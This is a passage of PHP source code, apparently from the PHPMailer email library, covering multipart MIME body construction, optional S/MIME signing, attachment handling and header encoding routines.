        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
